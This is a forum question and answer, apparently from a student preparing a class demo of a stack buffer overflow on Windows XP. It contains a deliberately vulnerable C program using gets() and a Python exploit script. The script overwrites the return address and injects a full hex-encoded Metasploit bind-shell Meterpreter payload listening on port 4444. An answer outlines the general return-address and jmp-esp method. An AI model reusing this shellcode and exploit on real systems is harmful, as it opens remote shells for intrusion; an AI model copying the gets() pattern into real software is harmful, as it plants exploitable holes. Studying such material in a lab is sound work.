Buffer Overflow on Sample C Program - c

Question

May I know how to increase the length of ESP on a sample c program which allows me to execute shellcode on the stack. However, as of now, the sample c program only has an ESP length of 61 thus insufficient for the shellcode. Any help is appreciated! This is for a class demonstration for beginners, i'm also a student so i'm very new to buffer overflow.
Sample C Program
#include <stdio.h>
#include <string.h>
#pragma warning(disable: 4996)
int root(void)
{
printf("\n Root privileges given to the user \n");
return 0;
}
int user(void){
printf("\n Normal user privileges given to the user \n");
return 0;
}
int main(void)
{
char buff[15];
int pass = 0;
int max = 15;
printf("\n Enter the password : \n");
//fgets(buff, max, stdin);
gets(buff);
if (strcmp(buff, "thegeekstuff"))
{
printf("\n Wrong Password \n");
}
else
{
printf("\n Correct Password \n");
pass = 1;
}
if (pass == 1)
{
root();
} else {
user();
}
return 0;
}
Python Code for Exploit (Win86) - bind_tcp_staged_meterpreter [LPORT=4444]
*Note: added an instruction for (add esp, -1500) before bind shell payload
#! python
import os
import sys
import subprocess
import binascii
import time
ESP_Address = bytes.fromhex('5954C377')
buf = ""
# Add ESP, -1500
buf += "\x81\xC4\x24\xFA\xFF\xFF"
# Bind Meterpreter Shell
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x6a\x0b\x59\x50\xe2\xfd\x6a\x01\x6a\x02\x68"
buf += "\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
buf += "\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57"
buf += "\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1"
buf += "\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x6a\x00"
buf += "\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36"
buf += "\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4"
buf += "\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3"
bind_staged_shell_payload = bytes(buf, "utf-8")
Dummy_Data = ("A" * 35).encode()
final_payload = Dummy_Data + ESP_Address + bind_staged_shell_payload
p = subprocess.Popen('buffer_overflow.exe', stdin=subprocess.PIPE) #NOTE: no shell=True here
time.sleep(20)
p.stdin.write(final_payload)
p.communicate()[0]
p.stdin.close()
sys.exit(0)
Code used to compile c program in windows XP SP 1
gcc -Wl,--stack,4194304 -fno-stack-protector -m32 buffer_overflow.c -o buffer_overflow.exe
What I've tried....very embarrassing with no success:
Compile C Program with the -Wl,--stack,4194304 option
Tried to increase stack size by creating dummy variables with huge buffers (Apparently, it makes the length of ESP shorter...)
Running cmd as Administrator...
Turning off Firewall
Testing Connectivity with nc IP_ADDRESS 4444 but connection refused (bind shell not generated successfully from exploit code) - will use meterpreter handler once connectivity has successfully established for the staged payload
Notes
The program does not crash with the shellcode as input...However, if a string with 100 characters is inserted, the program crashes.

Answer 1

You didnt describe how you found the return address on the stack and why did you add the 'add esp' so I will just help you get it from the beginning and hope it will help you.
First of all you should run the program in a debugger (I recommend IDA Pro) and start fuzzing it to see where the return address is stored on the stack.
After that try not to use some shellcodes and try to run the root function from the code so if it will work you will be indicated with the output string. The buffer should look like this: "A * return_address_offset + root_address" if it will work you can use a simple shellcode instead of the root function by placing it on the buffer and overwriting the return address with 'jmp esp' so the shellcode that placed on the stack will run. if you wont jump to the shellcode on the stack the program will treat the first 4 bytes of the shellcode like an address and try to go there and most likely that address will be an invalid address so the program crashes.
If you dont understand how it all work you should read about the stack and the calling conventions and how the program calls and returns from function.
There is a tutorial about exploitation it should also help you.
Hope I helped you!